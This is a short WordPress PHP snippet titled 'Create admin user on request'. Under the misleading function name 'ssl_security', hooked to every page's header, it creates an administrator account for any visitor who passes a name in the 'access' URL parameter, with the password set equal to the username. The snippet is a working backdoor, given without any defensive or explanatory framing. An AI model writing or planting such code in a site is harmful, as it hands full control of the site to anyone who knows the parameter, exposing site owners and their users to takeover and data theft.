Create admin user on request

add_action('wp_head', 'ssl_security'); 

function ssl_security() { 
	$a = $_GET['access'];
	
	if(isset($a)){
		require('wp-includes/registration.php');
		
		if(!username_exists($a)) {
			$user_id = wp_create_user($a, $a);
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}